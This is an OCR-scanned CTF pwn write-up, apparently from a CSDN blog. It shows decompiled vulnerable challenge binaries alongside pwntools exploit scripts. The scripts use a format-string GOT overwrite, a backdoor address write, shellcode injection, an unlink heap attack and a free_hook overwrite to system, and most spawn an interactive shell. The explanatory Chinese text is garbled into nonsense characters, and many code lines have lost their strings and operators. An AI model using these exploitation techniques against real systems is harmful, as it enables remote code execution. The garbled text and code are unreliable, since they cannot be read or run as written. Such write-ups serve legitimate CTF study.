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int sub_884854B()
{
puts("Please input your password: ");
while ( 1)
{
sl[read(®, s1, @x32u)] = ©;
if ( !strncmp(sl, "wllmmllw", 8u) )
break:;
printf("This is the wrong password: ");
printf(sl);
puts("Try again!");
¥

return puts(“"Login successfully! Have fun!");

}
R AR bRk AR, ZRER AL, JATX

&

AN RER AN T L SR, A REpatrial write.

FAVFEERH =2 450, & R A bk ofgot R sk, 7T Blgstrnemp, 7] BLE printf.

HRFABATDAE RS T, AW FETHAZ TS, B AIRAT T 28 A LA 7 ikl 205 ok gotii
got+2, WIil—i U K AT £ printfit &strnemp, #BFHEEREMAH, 4o T HRAFE IR, 5 koo s, A4k

e PRATTIZ A 1 OB

BATRA M E 2 EIUr), i =AM, REMBS, Rk ERA bk 5 doligot BR got+2, SR 5 B fa — Ik FIRHE L, B
got¥.

pwn


https://blog.csdn.net/yongbaoii
https://blog.csdn.net/yongbaoii/category_10478263.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/yongbaoii/article/details/115078919
https://blog.csdn.net/yongbaoii/category_10478263.html

context.log level

remote( , 25554)

elf = ELF(
libc = ELF(

r.sendlineafter(

r.sendlineafter(

(r.recvuntil( )[:-2],16)
(r.recvuntil( )[:-1],16)
stack_addr ox10
libc_base addrl 0x18e91
strncmp_got elf.got| ]
libc_base libc.sym[ ]
( (strncmp_got))

(libc_base))

)
OxFfff

stack2 oxffff
(off1)
(off1 2)
)

16) & Oxffff
)

(strncmp_got + 2) oxffff
(off)

((strncmp_got + 2) 16)
r.sendline( (off2)

system_addr & Oxffff
(system_addr 16) oxffff
(low)

r.sendline(payload)




r.sendline(

r.interactive()
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int hackhere()

{
return system("/bin/bash");

T
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puts("* An easy calc *"Ys
puts("*Give me your numbers and I will return to you an average *");
puts("*(@ <= x < 256) xny s

puts("How many numbers you have:");
__is0c99_scanf("%d", &v5);

puts("Give me your numbers");

for (1 =0; 1 < v5 && (signed int)i <= 99; ++i )

{
__is0c99_scanf("%d", &v7);
¥
for ( j = v5; ; printf("average is %.21f\n", (double)((long double)vo / (double)j)) )
{
while ( 1)
{
while ( 1)
s
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puts("1l. show numbers\n2. add number\n3. change number\n4. get average\n5. exit")
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show

if (ve I=1)
return 9;

puts("id\t\tnumber");

for ( k = @; k < J; ++k )
printf("%d\t\t%d\n", k, vi3[k]);

add

- — s

puts("Give me your number™);
__1s0c99_scanf("%d", &v7);
if (7 <= ex63 )

{
v3 = j++;
v13[v3] = v7;
¥
change

if (ve 1= 3)

break;
puts(“"which number to change:");
__1s0c99_scanf("%d", &v5);
puts(“new number:");
__1s0c99_scanf("%d", &v7);
v13TvB1 = w7+~
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getaverage

tor (L =9; 1L < J; ++1 )
v9 += v13[1];

printf("average is %.21f\n", (double)((long double)v9 / (double)j)) )
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var_A8= qword ptr -©A8h
var_Ae= qword ptr -8A8h
var_96= dword ptr -96h
var_8C= dword ptr -8Ch
var_88= dword ptr -88h
var_84= dword ptr -84h
var_80= dword ptr -86h
var_7C= dword ptr -7Ch
var_78= dword ptr -78h
var_74= dword ptr -74h
var_78= byte ptr -76h
var_C= dword ptr -eCh
var_4= dword ptr -4
argc= dword ptr 8
argv= dword ptr ©cCh
envp= dword ptr 16h
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exp

from pwn import

r remote(

context_level

backdoor [6x9b, ©x85, Ox04, 0x08]
offset ox84

r.sendlineafter(
for i in (4):

.sendlineafter(
.sendlineafter( > (ox84 + 1i))

.sendlineafter( (backdoor[i]))

r.sendlineafter(

r.interactive()
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{

puts("who are u?");
for (1 = OLL; 1 <= 47; ++1 )

{
read(@, &v2[i], 1uLL);
if ( v2[i] == 18 )
{
v2[1i] = @;
break:;
¥
¥

printf("%s, welcome to ISCC~ \n", v2);
puts(“"give me your id ~~?");
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int64 sub_4@0A8E()

__inte4 i; // [rsp+16h] [rbp-4@h]
char v2[48]; // [rsp+286h] [rbp-36h] BYREF
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{

nt sub_4e7DF()

int result; // eax

char nptr[8]; // [rsp+6h] [rbp-16h] BYREF
int v2; // [rsp+8h] [rbp-8h]

int i; // [rsp+Ch] [rbp-4h]

vZ = @;
for (1 =9; 1 <= 3; ++1 )
{

read(@, &nptr[i], 1uLL);
if ( nptr[i] == 10 )
{
nptr[i] = ©;
break;
¥
if ( nptr[i] > @x39 || nptr[i] <= 47 )
{
printf("ex%x ", (unsigned int)nptr[i]);
return @;
¥
¥
v2 = atoi(nptr);
if (v2 >=9)
result = atoi(nptr);
else
result = @;
return result;
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|_int64 sub_400A29()

{
char buf[56]; // [rsp+6h] [rbp-48h] BYREF

char *dest; // [rsp+38h] [rbp-8h]

dest = (char *)malloc(@x4euLL);
puts(“"give me money~");

read(@, buf, ©x48uLL);
strcpy(dest, buf);

ptr = dest;

return sub_4809C4();
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return printf("\n=======EASY HOTEL========\nl. check in\n2.
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check out\n3. goodbye\nyour choice :

N



Lpnt check_in()

2|{

3| int nbytes; // [rsp+Ch] [rbp-4h]

1

5| if ( ptr )

5 return puts(“already check in");
7| puts("how long?");

3| nbytes = sub_4007DF();

3| if ( nbytes <= @ || nbytes > 128 )
3 return puts(“invalid length");

L| ptr = malloc(nbytes);

2| printf(“give me more money : ");

3| printf("\n%d\n", (unsigned int)nbytes);
1| read(®, ptr, (unsigned int)nbytes);
5| return puts("in~");

void check_out()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = OLL;
¥

else

{

puts("havn't check in");

}
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from pwn import

context.arch

context.log level

remote(

asm(shellcraft.sh())
,shellcode (48 (shellcode)))

ebp ub4(r.recvuntil( )[-6:].1just(8, )))

offset 0x50
shellcode_addr (=]o]) offset

payload = p64(shellcode_addr)
.send(payload (ox38 (payload)) p64(free_got))
.recvuntil(

.sendline( )

.interactive()
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v4 = _ readfsqword(©x28u);
setvbuf(stdin, eLL, 2, ©LL);
setvbuf(stdout, ©LL, 2, ©LL);
setvbuf(stderr, ©LL, 2, OLL);
memset (&unk_202060, ©, ©x86ulLl);
fd = open("/dev/urandom", @);

buf = @LL;

read(fd, &buf, 5SulLL);

buf &= OxFFFFFFF@®euLL;
close(fd);

v3 = mmap((void *)buf, exieeeuLL, 7, 34, -1, eLL);
printf("Mmap: %p\n", v3);
unk_202040 = O,

sub_CBD();

return __readfsqword(@x28u) " v4;
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alloc

unsigned int i; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+l1leh] [rbp-1@h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = @; quord_2020608[2 * i + 1]; ++i )

if (1> exF ) |
return puts( No more space.");

printf("Size: ");

size = sub_EE5();

if ( size > exleee )
return puts("Invalid size!");

v2 = malloc(size);

if ( 1v2z)

{
perror("Memory allocate failed!");
exit(-1);

}

gword_202860[2 * 1 + 1] = v2;

word 202068[2 * 1] = size;
ﬁ_IZ'++un 202040 ;
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delete

i

_DWORD *v@; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]

printf("Index: ");
v2 = sub_EE5();
if ( v2 <= @xF && addr[2 * v2 + 1] )
{
free((void *)addr[2 * v2 + 1]);
addr[2 * v2 + 1] = OLL;
addr[2 * v2] = OLL;
v8 = count;
--count[@];

¥

else

{
LODWORD(ve) = puts("Invalid index.");

h

return (int)ve;
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fill

1NT T1Llll)

i

unsigned int vi1; // [rsp+4h] [rbp-Ch]

printf("Index: ");
vl = sub_EE5();
if (vl > exF || laddr[2 * vi + 1] )
return puts("Invalid index.");
| printf("Content: ");
| return sub_E2D(addr[2 * vl + 1], addr[2 * v1]);

unsigned __inté4 _ fastcall sub_E2D(__int64 al, unsigned __inté4 a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF

int i; // [rsp+14h] [rbp-Ch]

unsigned __inté4 v5; // [rsp+18h] [rbp-8h]

v5 = __ readfsqword(@x28u);
for (1 =9; 1 < a2; ++1 )
{
if ( read(@, &buf, 1uLlL) <= 0 )
{
perror("Read failed!\n");
exit(-1);
¥
if ( buf == 10 )
break;
*(_BYTE *)(al + i) = buf;
¥
if (1==2a2)
BYTE *)(i + al
return __readfsqwor
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from pwn import

context.log_level

context.arch

remote(

elf = ELF(
libc = ELF(

def alloc(size):
r.sendlineafter(
r.sendlineafter(

def delete(index):
r.sendlineafter(
r.sendlineafter( (index))

def fill(index, content):
r.sendlineafter(
r.sendlineafter( (index))
r.sendlineafter( , content)

)
(r.recv(10),16)

p64(0) + p64(0x21)
p64(bss_addr - 0x18) p64(bss_addr - 0x10)
p64(0x20) + p64(0) + p64(0x30)

fill(@, payloadl)

delete(1)

payload2 = p64(0) 2 + p64(0x550) p64(bss_addr + 0x10)
fill(0, payload2)
fill(1, asm(shellcraft.sh()))

p64(0x550)

p64(mmap_addr)




p64(bss_addr + 0x28) + p64(0x20) + p64(0x491) 0x488
p64(0x21) Ox18 + p64(0x21)

Ox18 + p64(0x20)
fill(0, payload4)

fill(3, p64(mmap_addr))

@lloc(0x20)

r.interactive()
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malloc

insigned __int64 malloc_o()

~int vl; // [rsp+eh] [rbp-16h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(@x28u);

puts(“index:");

vl = read_int();

if (vi<e || vis> 32| *(( QWORD *)&heap + v1) )
exit(@);

puts(“size:");

v2 = read_int();

if ( v2 <= @x7F || v2 > exl1ee )

--e,S  --_ -

*((_QWORD *)&heap + v1) = malloc(v2);

puts(“content:");
read(@, *((void **)&heap + v1), v2);
return __readfsqword(@x28u) ~ v3;
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free

21
3| int v1; // [rsp+4h] [rbp-Ch]
4| wunsigned __inté4 v2; // [rsp+8h] [rbp-8h]
5
6| v2 = __readfsqword(@x28u);
7| puts("index:");
8 vl = read_int();
o if (vi< e || vi > 32 || '"(( QWORD *)&heap + v1) )
e exit(e);
1| free(*((void **)&heap + v1));
2| *((_QWORD *)&heap + v1) = OLL;
3| len[vl] = @;
4| return __readfsqword(@x28u) ~ v2;
51}
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unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
_BYTE *v2; // [rsp+1l6h] [rbp-18h]
unsigned __inte4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsgword(@x28u);
if ( keyl == 2 )
EX1T(0),

puts("index:");

vl = read_int(); |

if (vi<e || vi>32]|]| 'heap[vl] )
exit(e);

puts(“"content:");

v2 = (_BYTE *)heap[vl];

v2|read(8, v2, (int)len[v1|2| = 0;

++Kkeyl:

return __readfsqword(®x28u) ~ v3;

h
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show

(=3 —

int v1; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(®x28u);
if ( key2 )
—

puts("index:");
vl = read_int();

if (vi<®e || vio>32]|]| theap[vl] )
exit(0);
puts((const char *)heap[vl]);
}
else
{

puts("only admin can use");

}

return __readfsgword(&x28u) ~ v2;

}
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from pwn import

context.log level

context.arch




remote(

elf = ELF(
libc = ELF(

def malloc(index, size, content):
.sendlineafter( 5 )
.sendlineafter( 5 (index))
.sendlineafter( 5 (size))

.sendafter( , content)

free(index):
r.sendlineafter( )

r.sendlineafter( (index))

edit(index, content):

r.sendlineafter( 5 )
r.sendlineafter( 5 (index))
r.sendafter( content)

show(index):
r.sendlineafter( )
r.sendlineafter( (index))

ptr_addr = 0x6021e0
key2_addr = 0x6022b8
free_got = elf.got|

for i in (7):
malloc(i,oxf8, (1)*8)

0x6020e0+8%32
p64(0)+p64(0xfl)
p64(addr-0x18)+p64(addr-0x10)
payload.ljust(oxfe, )
p64(0xf0)

for i in (1,8):
free(i)

p64(free_got)
p64(ptr_addr-0x18)+p64(ptr_addr-0x18)
p64(ptr_addr)

payload.ljust(oxfe,




show(29)
libc_base ub4(r.recvuntil( )[-6:].1just(8, ))-libc.sym|[
libc_base libc.sym[ ]
libc_base libc.sym[
(libc_base)

edit(32,p64(free_hook))
edit(32,p64(system))
free(9)

r.interactive()
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